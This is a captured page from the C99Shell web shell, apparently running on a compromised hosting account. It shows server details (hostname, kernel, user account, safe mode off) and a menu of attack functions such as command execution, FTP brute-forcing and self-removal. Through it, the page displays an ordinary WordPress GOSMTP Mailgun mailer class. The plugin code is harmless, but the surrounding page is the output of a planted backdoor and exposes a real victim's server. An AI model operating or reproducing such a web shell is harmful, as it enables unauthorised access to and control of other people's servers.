!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/gosmtp/main/mailer/   drwxr-xr-x
Free 292.44 GB of 429.69 GB (68.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mailgun.php (6.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Class GOSMTP_Mailer_Mailgun.
 *
 * @since 1.0.0
 */

namespace GOSMTP\Mailer;
 
use 
GOSMTP\Mailer\Loader;

class 
Mailgun extends Loader{

    var 
$title 'Mailgun';
    
    const 
API_URL_US 'https://api.mailgun.net/v3/';
    
    const 
API_URL_EU 'https://api.eu.mailgun.net/v3/';
    
    var 
$url '';
    
    var 
$mailer 'mailgun';
    
    public function 
send(){
        global 
$phpmailer;
        
        
$phpmailer->isMail();
        
        if (
$phpmailer->preSend()) {
            
$this->set_API_Url();
            
$response $this->postSend();
            return 
$this->handle_response$response );
        }

        return 
$this->handle_response(new \WP_Error(400'Unable to send mail for some reason!', []));
    }
    
    public function 
postSend(){
        global 
$phpmailer;
        
        
$content_type $phpmailer->ContentType;
        
$reply_to $phpmailer->getReplyToAddresses();
        
        
$body = [
            
'from'           => $phpmailer->From,
            
'subject'        => $phpmailer->Subject,
            
'h:X-Mailer'     => 'GOSMTPMailer - Mailgun',
            
'h:Content-Type' => $content_type
        
];
        
        if(
stripos($content_type'html') === false){
            
$body['text'] = $phpmailer->Body;
        }else{
            
$body['html'] = $phpmailer->Body;
        }

        if(!empty(
$reply_to)){
            
$body['h:Reply-To'] = $reply_to;
        }
            
        
$recipients = [
            
'to'  => $this->getRecipients($phpmailer->getToAddresses()),
            
'cc'  => $this->getRecipients($phpmailer->getCcAddresses()),
            
'bcc' => $this->getRecipients($phpmailer->getBccAddresses())
        ];

        if (
$recipients array_filter($recipients)) {
            
$body array_merge($body$recipients);
        }
        
        
$timeout = (int) ini_get'max_execution_time' );

        
$params = array(
                
'headers' => array(
                    
'Authorization' => 'Basic ' base64_encode('api:' $this->getOption('api_key'$this->mailer))
                ),
                
'body' => $body,
                
'timeout' => $timeout $timeout 30,
                
'httpversion' => '1.1',
                
'blocking'    => true
        
);

        
$attachments $phpmailer->getAttachments();
        
        if(!empty(
$attachments)){
            
$params $this->getAttachments($params);
        }

        
$response wp_safe_remote_post($this->url$params);

        if (
is_wp_error($response)) {
            
$returnResponse = new \WP_Error($response->get_error_code(), $response->get_error_message(), $response->get_error_messages());
        } else {
            
$responseBody wp_remote_retrieve_body($response);
            
$responseCode wp_remote_retrieve_response_code($response);

            
$isOKCode $responseCode == 200;

            if(
$isOKCode) {
                
$responseBody = \json_decode($responseBodytrue);
            }

            if(
$isOKCode && isset($responseBody['id'])) {
                
$returnResponse = [
                    
'status' => true,
                    
'code' => $responseCode,
                    
'messageId' => $responseBody['id'],
                    
'message' => $responseBody['message'],
                ];
            }else{
                if(!empty( 
$responseBody['message'])){
                    
$error_text[] = $this->message_formatting$responseBody['message'] );
                } else {
                    
$error_text[] = $this->get_response_error_message($response);
                }
                
                
$error_msg implode'\r\n'array_map'esc_textarea'array_filter$error_text ) ) );
                
$returnResponse = new \WP_Error($responseCode$error_msg$responseBody);
            }
        }

        return 
$returnResponse;
    }

    public function 
getRecipients($recipient){
        
$recipients $this->filterRecipientsArray($recipient);
        
        
$array array_map(function($recipient){
            return isset(
$recipient['name'])
            ? 
$recipient['name'] . ' <' $recipient['address'] . '>'
            
$recipient['address'];
        }, 
$recipients);

        return 
implode(', '$array);
    }
    
    public function 
getAttachments($params){
        global 
$phpmailer;
        
        
$data = [];
        
$payload '';
        
$attachments $phpmailer->getAttachments();

        foreach(
$attachments as $attachment){
            
$file false;

            try{
                if (
is_file($attachment[0]) && is_readable($attachment[0])) {
                    
$fileName basename($attachment[0]);
                    
$file file_get_contents($attachment[0]);
                }
            }catch(\
Exception $e){
                
$file false;
            }

            if(
$file === false){
                continue;
            }

            
$data[] = [
                
'content' => $file,
                
'name'    => $fileName,
            ];
        }

        if(!empty(
$data)){
            
$boundary hash('sha256'uniqid(''true));

            foreach(
$params['body'] as $key => $value){
                if(
is_array($value)){
                    foreach(
$value as $child_key => $child_value){
                        
$payload .= '--' $boundary;
                        
$payload .= "\r\n";
                        
$payload .= 'Content-Disposition: form-data; name="' $key "\"\r\n\r\n";
                        
$payload .= $child_value;
                        
$payload .= "\r\n";
                    }
                }else{
                    
$payload .= '--' $boundary;
                    
$payload .= "\r\n";
                    
$payload .= 'Content-Disposition: form-data; name="' $key '"' "\r\n\r\n";
                    
$payload .= $value;
                    
$payload .= "\r\n";
                }
            }

            foreach(
$data as $key => $attachment){
                
$payload .= '--' $boundary;
                
$payload .= "\r\n";
                
$payload .= 'Content-Disposition: form-data; name="attachment[' $key ']"; filename="' $attachment['name'] . '"' "\r\n\r\n";
                
$payload .= $attachment['content'];
                
$payload .= "\r\n";
            }

            
$payload .= '--' $boundary '--';

            
$params['body'] = $payload;
            
$params['headers']['Content-Type'] = 'multipart/form-data; boundary=' $boundary;

        }

        return 
$params;
    }
    
    public function 
set_API_Url(){
        
        
$url self::API_URL_US;
        
        if(
$this->getOption('region'$this->mailer) == 'eu'){
            
$url self::API_URL_EU;
        }

        
$url .= sanitize_text_field($this->getOption('domain_name'$this->mailer) . '/messages');

        return 
$this->url $url;
    }

    public function 
load_field(){
        
        
$fields = array(
            
'api_key' => array(
                
'title' => __('Private API Key'),
                
'type' => 'password',
                
'desc' => __'Follow this link to get a Private API Key from Mailgun: <a href="https://app.mailgun.com/app/account/security/api_keys" target="_blank">Get a Private API Key.</a>' ),
            ),
            
'domain_name' => array(
                
'title' => __('Domain Name'),
                
'type' => 'text',
                
'desc' => __'Follow this link to get a Domain Name from Mailgun: <a href="https://app.mailgun.com/app/domains" target="_blank">Get a Domain Name.</a>' ),
            ),
            
'region' => array(
                
'title' => __('Region'),
                
'type' => 'radio',
                
'class' => 'regular-text',
                
'list' => array(
                    
'us' => 'US',
                    
'eu' => 'EU',
                ),
                
'desc' => __'Define which endpoint you want to use for sending messages.<br>If you are operating under EU laws, you may be required to use EU region. <a href="https://www.mailgun.com/about/regions/" target="_blank">More information</a> on Mailgun.com.' ),
            ),
        );
        
        return 
$fields;
    }
}



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--